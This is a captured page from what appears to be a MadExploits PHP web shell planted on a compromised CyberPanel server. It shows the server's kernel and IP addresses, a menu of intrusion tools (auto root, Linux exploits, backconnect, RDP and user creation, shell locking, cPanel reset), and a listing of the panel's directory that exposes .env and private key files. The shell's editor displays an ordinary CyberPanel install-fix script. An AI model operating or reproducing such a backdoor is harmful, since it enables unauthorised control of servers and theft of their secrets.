Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.github
[ DIR ]
drwxr-xr-x
.idea
[ DIR ]
drwxr-xr-x
ApachController
[ DIR ]
drwxr-xr-x
CLManager
[ DIR ]
drwxr-xr-x
CLScript
[ DIR ]
drwxr-xr-x
CPScripts
[ DIR ]
drwxr-xr-x
CyberCP
[ DIR ]
drwxr-xr-x
IncBackups
[ DIR ]
drwxr-xr-x
WebTerminal
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
aiScanner
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
baseTemplate
[ DIR ]
drwxr-xr-x
bin
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
cloudAPI
[ DIR ]
drwxr-xr-x
conf
[ DIR ]
drwxr-xr-x
containerization
[ DIR ]
drwxr-xr-x
databases
[ DIR ]
drwxr-xr-x
dns
[ DIR ]
drwxr-xr-x
dockerManager
[ DIR ]
drwxr-xr-x
emailMarketing
[ DIR ]
drwxr-xr-x
emailPremium
[ DIR ]
drwxr-xr-x
examplePlugin
[ DIR ]
drwxr-xr-x
filemanager
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
ftp
[ DIR ]
drwxr-xr-x
guides
[ DIR ]
drwxr-xr-x
highAvailability
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
lib64
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
loginSystem
[ DIR ]
drwxr-xr-x
mailServer
[ DIR ]
drwxr-xr-x
managePHP
[ DIR ]
drwxr-xr-x
manageSSL
[ DIR ]
drwxr-xr-x
manageServices
[ DIR ]
drwxr-xr-x
packages
[ DIR ]
drwxr-xr-x
plogical
[ DIR ]
drwxr-xr-x
pluginHolder
[ DIR ]
drwxr-xr-x
pluginInstaller
[ DIR ]
drwxr-xr-x
postfixSenderPolicy
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
s3Backups
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
serverLogs
[ DIR ]
drwxr-xr-x
serverStatus
[ DIR ]
drwxr-xr-x
share
[ DIR ]
drwxr-xr-x
skin_customizations
[ DIR ]
drwxr-xr-x
testPlugin
[ DIR ]
drwxr-xr-x
tmp
[ DIR ]
drwx--x--x
to-do
[ DIR ]
drwxr-xr-x
tuning
[ DIR ]
drwxr-xr-x
userManagment
[ DIR ]
drwxr-xr-x
websiteFunctions
[ DIR ]
drwxr-xr-x
.DS_Store
12
KB
-rw-r--r--
.env
910
B
-rw-r--r--
.env.backup
443
B
-rw-r--r--
.env.template
911
B
-rw-r--r--
.gitignore
1.23
KB
-rw-r--r--
AllCPUbuntu.json
73.23
KB
-rw-r--r--
CONTRIBUTING.md
6.31
KB
-rw-r--r--
CPCent7repo.json
3.86
KB
-rw-r--r--
FetchIP.sh
117
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
README.md
7.63
KB
-rw-r--r--
SECURITY_INSTALLATION.md
5.5
KB
-rw-r--r--
cert.pem
1.66
KB
-rw-r--r--
cyberpanel.min.js
11.77
MB
-rw-r--r--
cyberpanel.sh
89.28
KB
-rw-r--r--
cyberpanel_upgrade.sh
63.13
KB
-rw-r--r--
cyberpanel_utility.sh
13.36
KB
-rw-r--r--
faq.sh
4.04
KB
-rw-r--r--
fastapi_ssh_server.py
5.4
KB
-rw-r--r--
fastapi_ssh_server.service
400
B
-rw-r--r--
fix_cyberpanel_install.sh
3.95
KB
-rw-r--r--
index.html
752
B
-rw-r--r--
install.sh
2.74
KB
-rw-r--r--
key.pem
1.14
KB
-rw-r--r--
langcomp.sh
647
B
-rw-r--r--
lscpd-0.2.7
27.22
MB
-rw-r--r--
lscpd-0.3.1
27.63
MB
-rw-r--r--
lscpd.0.4.0
23.82
MB
-rw-r--r--
lscpd.aarch64
19.49
MB
-rw-r--r--
manage.py
805
B
-rw-r--r--
phpmyadmin.zip
14.4
MB
-rw-r--r--
preUpgrade.sh
396
B
-rw-r--r--
pyvenv.cfg
88
B
-rw-r--r--
requirments-old.txt
638
B
-rw-r--r--
requirments.txt
694
B
-rw-r--r--
snappymail_cyberpanel.php
2.23
KB
-rw-r--r--
test.php
18
B
-rw-r--r--
test.sh
0
B
-rw-r--r--
ubuntu-requirments.txt
1.51
KB
-rw-r--r--
upgrade.sh
1.07
KB
-rw-r--r--
version.txt
5
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix_cyberpanel_install.sh
#!/bin/bash # CyberPanel Post-Upgrade Fix Script # This script completes the installation when the upgrade exits early due to TypeError set -e # Exit on error echo "===================================" echo "CyberPanel Installation Fix Script" echo "===================================" echo "" # Check if running as root if [[ $(id -u) != 0 ]]; then echo "This script must be run as root!" exit 1 fi # Function to print colored output print_status() { echo -e "\033[1;32m[$(date +"%Y-%m-%d %H:%M:%S")]\033[0m $1" } print_error() { echo -e "\033[1;31m[$(date +"%Y-%m-%d %H:%M:%S")] ERROR:\033[0m $1" } # Check if virtual environment exists if [[ ! -f /usr/local/CyberCP/bin/activate ]]; then print_error "CyberPanel virtual environment not found!" print_status "Creating virtual environment..." # Try python3 -m venv first if python3 -m venv --system-site-packages /usr/local/CyberCP 2>/dev/null; then print_status "Virtual environment created successfully with python3 -m venv" else # Fallback to virtualenv virtualenv -p /usr/bin/python3 --system-site-packages /usr/local/CyberCP fi fi # Activate virtual environment print_status "Activating CyberPanel virtual environment..." source /usr/local/CyberCP/bin/activate # Check if Django is already installed if python -c "import django" 2>/dev/null; then print_status "Django is already installed. Checking version..." python -c "import django; print(f'Django version: {django.__version__}')" else print_status "Installing Python requirements..." # Download requirements file print_status "Downloading requirements.txt..." if [[ -f /tmp/requirements.txt ]]; then rm -f /tmp/requirements.txt fi # Detect OS version and download appropriate requirements if grep -q "22.04" /etc/os-release || grep -q "VERSION_ID=\"9" /etc/os-release; then wget -q -O /tmp/requirements.txt https://raw.githubusercontent.com/usmannasir/cyberpanel/v2.4.4-dev/requirments.txt else wget -q -O /tmp/requirements.txt https://raw.githubusercontent.com/usmannasir/cyberpanel/v2.4.4-dev/requirments-old.txt fi # Upgrade pip first print_status "Upgrading pip, setuptools, and wheel..." pip install --upgrade pip setuptools wheel packaging # Install requirements print_status "Installing CyberPanel requirements (this may take a few minutes)..." pip install --default-timeout=3600 --ignore-installed -r /tmp/requirements.txt fi # Install WSGI-LSAPI if not present if [[ ! -f /usr/local/CyberCP/bin/lswsgi ]]; then print_status "Installing WSGI-LSAPI..." cd /tmp rm -rf wsgi-lsapi-2.1* wget -q https://www.litespeedtech.com/packages/lsapi/wsgi-lsapi-2.1.tgz tar xf wsgi-lsapi-2.1.tgz cd wsgi-lsapi-2.1 /usr/local/CyberCP/bin/python ./configure.py make cp lswsgi /usr/local/CyberCP/bin/ print_status "WSGI-LSAPI installed successfully" fi # Fix permissions print_status "Fixing permissions..." chown -R cyberpanel:cyberpanel /usr/local/CyberCP/lib 2>/dev/null || true chown -R cyberpanel:cyberpanel /usr/local/CyberCP/lib64 2>/dev/null || true # Test Django installation print_status "Testing Django installation..." cd /usr/local/CyberCP if python manage.py check 2>&1 | grep -q "System check identified no issues"; then print_status "Django is working correctly!" else print_error "Django check failed. Checking for specific issues..." python manage.py check fi # Restart LSCPD print_status "Restarting LSCPD service..." systemctl restart lscpd # Check service status if systemctl is-active --quiet lscpd; then print_status "LSCPD service is running" else print_error "LSCPD service failed to start" systemctl status lscpd fi echo "" print_status "CyberPanel fix completed!" echo "" echo "You can now access CyberPanel at: https://$(hostname -I | awk '{print $1}'):8090" echo "" # Deactivate virtual environment deactivate 2>/dev/null || true
Close